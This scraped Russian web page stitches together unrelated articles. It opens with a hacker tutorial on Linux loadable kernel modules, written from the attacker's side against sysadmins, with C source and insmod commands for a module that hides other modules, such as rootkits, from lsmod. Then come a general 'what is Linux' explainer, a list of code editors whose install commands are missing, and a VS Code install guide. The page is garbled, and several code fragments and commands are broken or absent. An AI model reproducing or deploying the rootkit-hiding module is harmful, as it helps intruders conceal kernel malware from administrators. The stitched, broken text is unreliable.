Code linux что это

Обновлено: 01.07.2024

Много лет тому назад, когда наша эра только-только начиналась (когда был создан первый персональный компьютер ;-)), хакеры запускали свои бэкдоры дающие шелл и т.д. и называли эти проги названиями типа top, ps, nfsd, etc для того, чтобы сисоп когда смотрел список работающих процессов думал, что эти проги нормальные системные утилиты и игнорировал их. Но технический прогресс не стоял на месте и эту фишку всё чаще и чаще стали просекать. Тогда хаксоры стали модифицировать такие системные утилиты как ps & top чтобы сисоп не мог видеть некоторые процессы, утилиты ls & du чтобы сисоп не мог видеть некоторые каталоги и файлы и т.д. Но прогресс продолжал шагать уверенным шагом вперёд в светлое будущее.

Были разработаны такие тулзы, как, например, Tripwire, которые могли стучать сисопу когда видели что какие-то файлы были модифицированы. Для того, чтобы контролировать всё больше и больше территории из одной точки хаксоры стали патчить системные библиотеки. Сисопы в ответ придумывали свои извраты. В конце концов, эта жестокая и беспощадная война руткитов и бэкдоров с системами обнаружения вторжения перешла на новое поле боя - в саму операционную систему. Хакеры
стали модифицировать самый центр операционных систем - ядро (kernel). И действительно это рульно - подкрутил немного ядро ОС в нужном месте и никакой ls не покажет твоих файлов. Даже ls с read-only диска со статической линковкой библиотечных функций будет молчать!
🙂 Кроме того, обнаружить и удалить Rootkit из ядра ОС тяжелее, чем обычный,
да и возможностей у него больше. Поэтому создание руткитов, бэкдоров и других тулзов для работы в самом сердце операционки стало очень эффективным и популярным занятием последние несколько лет. Теперь уже есть достаточно много док на эту тему, но большинство из них на английском. Кроме того, уже разработано достаточно много новых фич и те, которые описывались в доках 2-3 года назад уже устарели. Поэтому я и решил написать эту доку. Но тема эта довольно большая и сложная, так что я решил написать об этом в нескольких частях.

А теперь собственно о том как мы будем "подкручивать" операционку.
Исходники ядра Linux открыты и распространяются бесплатно. Поэтому их можно модифицировать, компилировать и создавать новое ядро таким каким надо. Но компиляция может занимать слишком много времени и к тому же надо перезагружать комп и т.д. и т.п. Так что это ломно даже для самих разработчиков ядра Linux'а. Это и стало одной из причин создания системы LKM для Linux'а. LKM - Loadable Kernel Modules - подгружаемые модули ядра.
LKM - это что-то на подобии Plug-in'ов для Web-Browser'ов
и других программ. То есть LKM реализует добавление какой-то новой возможности в уже существующую большую программу не перерабатывая ее исходный код, не перекомпилируя и не переинсталируя
ее, а просто загрузкой нужного модуля в нужный момент. Подобные системы существуют во многих ОС, но в этой статье, как я уже сказал, я затрону только LKM систему Linux'а.

Для понимания этой статьи необходимы хотя бы базовые знания языка C и ОС Linux.

Основные команды для работы с LKM модулями под
Linux:

  • lsmod - (LiSt MODules) просмотр списка загруженных модулей
  • insmod - (INStall MODule) загрузка модуля
  • rmmod - (ReMove MODule) выгрузка модуля

Основные правила и отличия программирования LKM'ов для ядра (kernel space) от обычных прог
(user space):

1. Практически нет никаких методов какого-либо контроля. В kernel'е у тебя абсолютная власть, никаких ограничений - ты Царь
🙂 (естественно тебе нужны права root'а что запустить модуль).

2. Так как практически нет методов контроля, то нет и методов исправления твоих ошибок. Если твой мод сделает что-то неправильно, то может зависнуть весь комп и kernel (ядро) убежит в "panic'е" :(. Поэтому на удаленной системе перед загрузкой модуля можешь выполнять эту команду:

$ echo "1" > /proc/sys/kernel/panic

Тогда, если произойдет panic, комп автоматически перезагрузится.

3. Нет доступа к библиотекам libc, и т.д.

4. Нет простого способа использовать системные вызовы. Иногда можно обойтись другими способами, но иногда придется
и чуть-чуть извращаться.

5. Немного другие include файлы: сначала должны быть

и другие при необходимости.

6. Вместо главной функции main() как в обычной проге в kernel module должна быть функция init_module(). А также cleanup_module() которая будет вызываться когда модуль будет выгружаться.

7. Параметры модулю должны передаваться не через переменные argc, argv, а с использованием MODULE_PARM (пример смотри в модулях ниже).

8. Вместо некоторых привычных функций надо использовать их kernel space аналоги: вместо malloc -> kmalloc, free -> kfree, printf -> printk. Причем у функции kmalloc не один аргумент, как у malloc, а два: желаемый объем памяти и ее тип. В большинстве случаев тип памяти - GFP_KERNEL но может быть и GFP_ATOMIC. Подробней об этом позже.

9. Компилировать модуль надо не в исполняемую (executable) прогу, а в объектный (object) файл (например с помощью флага -c к компилятору gcc).

А теперь давай напишем традиционный Hello World! но в виде kernel module 🙂

int init_module()
printk("Hack World!\n");
return 0;
>

Теперь в консоле (будем считать, что ты сохранил исходный код в файле mod.c):

Если ты работаешь на обычной консоле, а не на вируальной (без X'ов и не по telnet'у/ssh), то ты
увидиш текст Hack World! на экране и без команды tail.

Ну а теперь давай перейдем к более полезным наворотам.

Обнаружение и скрытие модулей.

Список загруженных модулей можно получить командой lsmod или cat
/proc/modules. А значит сисоп может обнаружить наш модуль и удалить его командой
rmmod! Так что теперь мы поговорим о том как прятать модули 🙂
Это можно сделать несколькими способами, но мы воспользуемся самым простым и эффективным. Для начала небольшое отступление.

Возможно ты уже слышал о таком методе хранения данных как "связный список". Это когда элемент списка содержит в себе данные и еще и ссылку на следующий элемент списка. Некоторую информацию очень удобно хранить и обрабатывать в таком виде. И много инфы в Linux kernel'е так и хранится - есть связный список содержащий инфу о загруженных модулях (но не модули! а инфу - то есть название, размер, состояние и т. д.). Инфа о модуле содержится в структуре module (структкра module описана в файле
/usr/src/linux/include/linux/module.h). Инфа о процессах, например, тоже хранится в связном списке в виде структуры task_struct (структура task_struct описана в файле
/usr/src/linux/include/linux/sched.h).

Когда кто-то хочет посмотреть список загруженных модулей (командой lsmod или cat /proc/modules) специальная функция (а точнее
modules_read_proc(), которая лежит в /usr/src/linux/fs/proc/proc_misc.c) проходится по связному списку инфы о модулях и выводит их названия и размер.
Для того, чтобы скрыть модуль мы просто удалим информацию о нем из этого связного списка, но сам модуль останется и будет работать дальше :).
А удалить элемент из связного списка просто - нужно в элементе, находящимся перед удаляемым, поменять значение указателя на следующий элемент
- на такой, чтобы он указывал на следующий элемент после удаляемого, а не на удаляемый.

А теперь смотри исходник мода (с комментариями) который может прятать любой мод и показывать его обратно.
В этом модуле нет ничего сложного - в основном он просто работает со связным списком структур module. Ищет, удаляет и восстанавливает указатели-ссылки.

char *hide;
long show=0;

// следующие 2 строки нужны чтоб передать модулю параметры (адрес или название мода для скрытия или восстановления)
MODULE_PARM(hide, "s");
MODULE_PARM(show, "l");

int init_module(void)
struct module *corr, *prec;

if(!hide) // если не указан модуль для скрытия
if(show) // если указан модуль для восстановления
// впихнуть инфу о модуле в связный список сделав его вновь видимым
((struct module *)show)->next = __this_module.next;
__this_module.next = (struct module *)show;
>
return -1;
>

prec = corr = &__this_module; // инициализируем переменные для поиска

while(corr != NULL) // проходимся по всем элементам связного списка
if(strcmp(corr->name, hide) == 0) // если название текущего модуля = названию скрываемого
printk("0x%p\n", corr); // сообщить адрес инфы о модуле, чтоб потом его можно было сделать снова видимым
prec->next = corr->next; // убираем инфу о модуле из списка меняя значение ссылки-указателя. после чего мод становится невидимым 🙂
>
prec = corr;
corr = corr->next;
>

Функция cleanup_module() не нужна, т.к. модуль сразу после загрузки и скрытия/восстановления нужного модуля делает вид, что произошла ошибка и автоматически выкидывается. insmod пишет что произошла ошибка (hmod.o: init_module: Operation not permitted . ), но это нормально и ненужно делать rmmod 🙂

Использование мода.
Компилируем:

$ insmod hmod.o hide=имя_модуля_для_прятания

Теперь модуль будет спрятан (можно проверить командой
lsmod), а адрес инфы о модуле будет выведен на консоль и в /var/log/messages

Смотрим адрес инфы о модуле:

$ tail -n 1 /var/log/messages
Oct 20 11:43:54 kernel: 0xd089200

А теперь снова показываем модуль путем впихивания инфы о модуле в связный список (необходимо указать адрес из
/var/log/messages):

$ insmod hmod.o show=0xd089200

С этим модулем ты можешь прятать любой мод, rootkit, и т. д.
Но помни: сисоп может, например, модифицировать команду insmod,
чтобы она стучала ему на мыло когда кто-то загружает модуль!
О более продвинутых методах загрузки, обнаружения и скрытия модулей мы поговорим в следующий раз.

Операционная система Linux работает почти на всех серверах в интернете. При этом Linux — это не название какой-то одной операционной системы, а общее название для сотен систем. Давайте разберёмся, как это вообще возможно.

Что такое Linux

Linux — это одновременно две вещи:

  1. Название ядра операционной системы (то есть центральный модуль, который отвечает за базовые возможности системы).
  2. Название семейства операционных систем, в которое, по разным подсчётам, входит от 500 до 600 операционок для разных задач.

Отдельной операционки под названием Linux нет, но если вы знаете принципы работы одной системы, вы сможете легко разобраться во всех остальных.

Что значит ядро Linux?

Ядро Linux — это то, что разработал программист Линус Торвальдс, когда хотел получить основные возможности UNIX, но без ограничения на коммерческое использование.

Ядро операционной системы отвечает за её базовые команды и операции, которые она умеет делать:

  • управление памятью — выделить место программе, ограничить, очистить;
  • управление процессами — запустить, дать ресурсы, убить;
  • управление железом — в ядро встроены драйверы для некоторого набора оборудования, чтобы операционка сразу работала на железе;
  • обмен информацией между процессами, службами и программами — чтобы программы могли отправлять запросы в интернет, писать данные на диск, читать с диска, запускать друг друга, обращаться к системе и т. д.

Ядро практически не видимо для пользователя, его нельзя «открыть», у него нет видимых для пользователя окон и кнопок. В ядро даже нельзя ввести команду с клавиатуры. Это как рептильный мозг человека: у нас нет к нему осознанного доступа и мы не можем остановить себе сердце силой мысли, но благодаря этому «ядру» у нас бьётся сердце.

Поверх ядра Linux разные программисты сделали свои версии операционных систем: RedHat, Ubuntu, Mint Linux и много-много других. Вот и получается, что ядро в основе — одно, а дистрибутивов Linux — много.

Linux — это версия Unix?

Нет, несмотря на похожие названия, это разные продукты.

Unix был создан в компании AT&T в 1970-х. Это была коммерческая операционка, которую хоть и лицензировали для университетов, но всё равно на ней хотели зарабатывать. UNIX существует как отдельная операционная система до сих пор и используется на сетевом оборудовании.

Linux создана в начале 90-х с нуля как открытая альтернатива Unix. В Linux используются многие принципы и механизмы Unix, но код другой. Более того, код Linux открытый: кто угодно может скачать исходник ядра Linux и посмотреть, как там всё устроено.

Возможно, именно благодаря открытости Linux стал настолько популярной операционной системой с сотнями дистрибутивов.

Что такое дистрибутив Linux

Дистрибутив Linux — это когда разные компании и разработчики берут ядро и добавляют сверху какой-то набор программ: оболочки, компиляторы, драйверы и всё остальное. Это уже становится полноценной операционной системой, и каждая из таких сборок имеет своё название.

Количество дистрибутивов Linux огромно — около 500 более-менее известных и бесчисленное множество разных сборок под разные задачи.

Любой человек, почитав полдня документацию и сформулировав свою задачу, сможет собрать собственный дистрибутив Linux — например под старый компьютер, для обучения, напичканный играми или для веб-разработки.

Почему дистрибутивов так много

Потому что каждая компания считает важным что-то своё:

  • одни хотят сделать операционку с красивым интерфейсом;
  • другие делают акцент на безопасности и шифровании данных;
  • третьи хотят расширенную поддержку сетевых протоколов;
  • четвёртым нужна поддержка определённого оборудования;
  • пятые хотят стабильности и отказоустойчивости;
  • шестым нужно, чтобы система работала в брелке от сигнализации;
  • а кому-то ещё — чтобы система работала на маломощном процессоре.

В зависимости от того, что для них важно, компании собирают свои дистрибутивы из разных компонентов.

Получается, Linux — это бесплатно?

В основном да, Linux — это бесплатно. Есть и коммерческие сборки Linux: ты платишь за софт и поддержку пользователей.

В этом и есть первая сила Linux — в бесплатности и доступности. Вторая суперсила — в гибкости и разнообразии настроек и специальных программ.

Как выглядит интерфейс Linux

Linux может выглядеть как угодно — смотря что вам нравится.

Когда вы смотрите на окна операционной системы, на самом деле вы смотрите на специальную программу-менеджер. Это надстройка над ядром, которая рисует красивые окна. В операционных системах Windows и MacOS оконные менеджеры стандартные и не меняются, а в Linux можно выбрать свой.

Дистрибутивы Linux выглядят по-разному в зависимости от того, какой оконный менеджер там стоит. Можно вообще обойтись без него.

Например, можно поставить себе оконный менеджер KDE:

Что такое Linux (и другие вопросы)

Или можно использовать GNOME:

Что такое Linux (и другие вопросы)

Или менеджер Xfce, если железо совсем слабое:

Что такое Linux (и другие вопросы)

Можно вообще не пользоваться оконным менеджером и управлять всем из командной строки, как это делают на серверах:

Что такое Linux (и другие вопросы)

Для чего используется Linux

Linux используется для чего угодно. Так как любой дистрибутив Linux собирается из разных кирпичиков, можно найти дистрибутивы:

  • для домашнего ежедневного использования (например, Ubuntu);
  • для реанимации старого железа (например, поставить Calculate для слабых компьютеров в школьных классах);
  • для серверов предприятий;
  • для суперкомпьютеров;
  • для отказоустойчивых станций для работы в бесперебойном режиме;
  • для систем безопасности и шифрования;
  • для создания сети из компьютеров для параллельных вычислений;
  • для обслуживания сигнализаций, умных домов и районов;
  • для роутеров и прочего компьютерного железа;
  • для роботов и робототехники.

Если того, что вам нужно, нет в списке, то вы можете сами сделать свой дистрибутив или взять что-то за основу и поставить туда нужный софт. Такой подход и делает Linux универсальной операционной системой для всего.

Можно ли играть в игры на Linux

В целом — да, но с ограничениями. Вот варианты:

  1. Можно играть в ретроигры с помощью любого из десятков эмуляторов консоли.
  2. Можно играть в некоторые PC-игры через эмулятор Windows (например, Wine). Игра может подтормаживать в зависимости от того, какое у вас железо и на какое железо была рассчитана игра.
  3. Можно играть в игры, портированные на SteamOS — это собственная среда Steam на базе Linux. Компания Valve очень старается сделать как можно больше игр для этой платформы, потому что от этого зависит работа их будущей консоли SteamDeck, так что в некоторые топовые игры поиграть всё-таки можно.
  4. Можно играть в игры, разработанные непосредственно для Linux.

На Linux можно поиграть в Doom Eternal. А в Doom 3 можно поиграть даже на Линуксе, который работает на одноплатном компьютере Raspberry Pi 4.

Основная проблема с играми на Linux — это передовые игры, которые используют максимум возможностей видеокарты. Не на все карты и не у всех производителей есть драйверы на Linux. Хотя со временем их становится всё больше, а некоторые ребята даже пишут собственные драйверы.

А что со специализированным железом и софтом?

На Linux есть масса профессионального софта для работы с графикой, видео и звуком. Это не такие комбайны, как у Adobe и Apple, но со своими задачами справляются.

Постепенно производители софта понимают важность Linux и выпускают для него полноценные версии своего софта. Например, Blackmagic сделали для Linux полноценную версию видеомонтажной программы Davinci Resolve.

Совместимость со специализированным железом под вопросом: есть железо, которое работает только на Linux. И есть железо, у которого вообще нет драйверов на Linux. Надо смотреть.

Можно ли запускать на Linux программы от MacOS или Windows?

В целом — да. На Linux можно установить эмуляторы других операционных систем. Например, Wine — это широко распространённый эмулятор Windows. Есть система VMWare Workstation, которая создаёт виртуальную машину внутри вашего Линукса, и там можно запустить что угодно.

Надо понимать, что любая эмуляция «отжирает» часть ресурсов компьютера и могут быть проблемы с совместимостью, поэтому ступайте осторожно.

Что дальше


Программирование является частью жизни каждого разработчика, а IDE (интегрированная среда разработки) облегчает эту работу.

IDE имеют множество удобных функций и поддерживают программирование на различных языках в одной среде.

Кроме того, IDE предоставляют пользователям плагины для добавления дополнительных возможностей в программу и автозаполнения тегов и классов для ускорения программирования.

Пользователи также могут использовать готовые фрагменты кода в своих программах.

IDE делают процесс разработки быстрее и проще, поэтому сегодня мы обсудим 10 лучших редакторов кода (IDE), доступных для Linux.

1. Atom

Atom поставляется с современным пользовательским интерфейсом с интеллектуальным, модным подходом, который упрощает настройку для пользователей.

Он предоставляет пользователям встроенный менеджер пакетов, функцию автозаполнения тегов и классов, браузер файловой системы и позволяет пользователям находить и заменять функции.

Считается, что это лучший редактор кода для Linux, а также для других операционных систем.

Для того чтобы установить Atom на вашу систему Linux, мы воспользуемся командой snap, для чего выполним следующую команду:

После этого запустите его через поиск в вашей системе и приступайте к редактированию кода.

Если вы хотите удалить Atom из системы, выполните следующую команду:

2. Visual Studio Code

Одним из самых популярных редакторов кода, с которым, я уверен, вы уже знакомы, является Visual Studio Code.

Это кроссплатформенный инструмент, который поставляется с пользовательским сниппетом и встроенной поддержкой git.

Пользователи могут использовать его для различных языков программирования и отладки, а также пользоваться функцией расширения и автозавершения.

Для установки Visual Code на Ubuntu необходимо выполнить следующую команду, которая использует команду snap:

После завершения установки запустите его, выполнив поиск в системе.

3. Eclipse IDE

Другим популярным редактором кода является Eclipse, который есть почти у каждого разработчика.

Он предоставляет пользователям различные функции автозавершения, а также функцию перетаскивания, с помощью которой пользователи могут создать графический интерфейс для своего приложения.

Пользователи могут выполнять визуальную отладку и редактировать свои проекты позже, поскольку они сохраняются в библиотеке Eclipse.

4. VSCodium

VSCodium похож на Visual Code Studio, но с ним вам не нужно беспокоиться о лицензии, брендинге и телеметрии Microsoft.

Он предоставляет пользователям современный интерфейс для редактирования, отладки кода и использования функций автозавершения, которые присутствуют в редакторе кода Visual Studio.

Для установки vscode мы воспользуемся snap store и выполним команду в терминале:

Запустите его с помощью поиска в системе.

5. Brackets

Пользователи могут выполнять кроссплатформенное редактирование, просматривать код в реальном времени и использовать такие расширения, как Emmet, Indent guides.

Кроме того, он предоставляет функции встроенного редактирования и плагины для улучшения вашего кода.

Для того чтобы установить Brackets на вашу систему, выполните команду, приведенную ниже:

6. Sublime Text 3

Он поставляется с функцией пользовательского регекса для ускорения загрузки и индексации файлов и подсветки кода для придания ему презентабельного вида.

Этот инструмент поставляется с очень настраиваемыми параметрами, которые могут быть выполнены через файлы JSON.

Для установки Sublime Text 3 на ubuntu 20.04 выполните следующую команду:

Теперь запустите программу, найдя ее в системе, и все готово для редактирования кода.

7. Gedit (IDE)

Это предустановленная IDE в среде рабочего стола GNOME в Linux.

Это простой инструмент, который позволяет настраиваемый синтаксис и функции буфера обмена для вырезания/копирования/вставки.

Для установки gedit на ubuntu 20.04 выполните команду и после установки запустите редактор и начните его использовать:

8. VIM

Программное обеспечение для Linux может быть легко создано, так как любой другой язык программирования может быть закодирован в vim и доступны плагины.

Он поддерживает множество форматов файлов, как старых, так и современных.

9. BlueFish

Этот новый кроссплатформенный редактор кода является одним из лучших редакторов HTML.

Он предоставляет пользователям функции автозавершения тегов, поддерживает интеграцию внешних программ, автоиндентирование, плагины и чистый пользовательский интерфейс, чтобы помочь пользователям начать работу с редактированием кода в системах Linux.

Как установить BlueFish?

Для установки BlueFish необходимо выполнить следующую команду в терминале.

Сначала включите PPA-репозиторий BlueFish в репозиторий Ubuntu apt:

Нажмите ENTER для продолжения процесса и теперь установите BlueFish, выполнив команду:

10. Geany

Лучшей IDE для интеграции инструментов GTK+ является Geany, которая поддерживает все основные языки программирования с меньшим количеством зависимостей.

Она имеет настраиваемый пользовательский интерфейс и плагины для добавления различных функций.

Она обеспечивает навигацию по коду, а также автозавершение тегов и листинг символов для легкого редактирования.

Если вы хотите установить Geany в своей системе, выполните приведенную ниже команду:

Теперь запустите программу в вашей системе и начните редактирование.

Если вы хотите удалить Geany из системы, выполните команду:

Заключение

Редакторы кода помогают редактировать код и находить лазейки быстрее и проще.

Они поставляются с различными встроенными плагинами, функциями автозавершения, которые помогают пользователю быстрее программировать.

В этой статье мы рассмотрели 10 лучших редакторов кода для систем Linux.

Существуют различные варианты.

Мы обсудили лучшие из них, чтобы помочь вам понять, какой из них выбрать и для какого конкретного языка.

Кроме того, приведены команды для установки каждого инструмента в вашей системе, а также команды деинсталляции, если вы хотите удалить его.

Visual Studio Code - это современная и очень удобная интегрированная среда разработки от Microsoft написанная на основе платформы Electron и NodeJS. Здесь есть встроенный отладчик кода, поддержка контроля версий с помощью Git, подсветка синтаксиса для множества языков, автодополнение кода, интегрированный терминал, поддержка рефракторинга и сниппеты.

В этой статье мы рассмотрим, как установить Visual Studio Code на Ubuntu 18.04 или более поздних версий. Для этого лучше всего использовать официальный репозиторий от Microsoft. Однако можно также воспользоваться snap-пакетом или центром приложений Ubuntu.

Установка Visual Studio Code на Ubuntu

Для работы репозитория нужно установить несколько пакетов. Для этого выполните команду:

Затем установите ключ репозитория:

И добавьте сам репозиторий:

sudo add-apt-repository "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main"

После этого остается обновить списки пакетов и установить VS Code:

sudo apt update
sudo apt install code


После завершения установки вы можете запустить программу, выполнив в терминале команду code, или через главное меню системы:


Главное окно программы будет выглядеть вот так:


В левой части окна вертикально расположены несколько вкладок для ориентации в интерфейсе программы. На первой вкладке выполняется работа с проектами и файлами. Вторая вкладка позволяет выполнять поиск по открытым проектам. Третья вкладка - система контроля версий. Четвёртая - отладчик, а пятая - установка дополнений.

Также можно установить программу с помощью менеджера пакетов snap. Для этого выполните:

sudo snap install --classic code


А ещё программа есть в центре приложений Ubuntu:

Удаление Visual Studio Code в Ubuntu

Удалять программу надо так, как вы её устанавливали. Если установка Visual Studio Code Ubuntu 18.04 выполнялась из репозитория Microsoft, то для удаления выполните:

sudo apt purge code

Затем можно отключить репозиторий с помощью утилиты Программы и обновления:

А если установка выполнялась через менеджер пакетов snap или центр приложений, то для удаления достаточно выполнить:

sudo snap remove code

Выводы

Теперь у вас есть успешно установленная VS Code Ubuntu 18.04, и вы можете переходить к её настройке, а затем к программированию. Далее вам нужно настроить внешний вид среды, а также установить необходимые дополнения. Но об этом поговорим в следующих статьях.

Нет похожих записей


Статья распространяется под лицензией Creative Commons ShareAlike 4.0 при копировании материала ссылка на источник обязательна.

Читайте также: